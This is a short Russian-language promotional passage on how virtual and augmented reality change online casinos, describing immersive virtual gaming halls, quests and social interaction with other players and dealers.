Одним из основных преимуществ использования VR и AR в казино – радикальное преображение игр. Новые технологии также дают возможность внедрять многообразные квесты, краткие миссии. Цифровая и дополненная реальность привносит в настольные и покерные развлечения элементы социального взаимодействия.
Виртуальные игорные заведения, в сравнение от обычных интернет-заведений, создают эффект нахождения в зале с слотами, столами для рулетки и покера. Игроки могут перемещаться по залу, общаться со игровыми автоматами, сражаться с крупье, а также следить за другими игроками.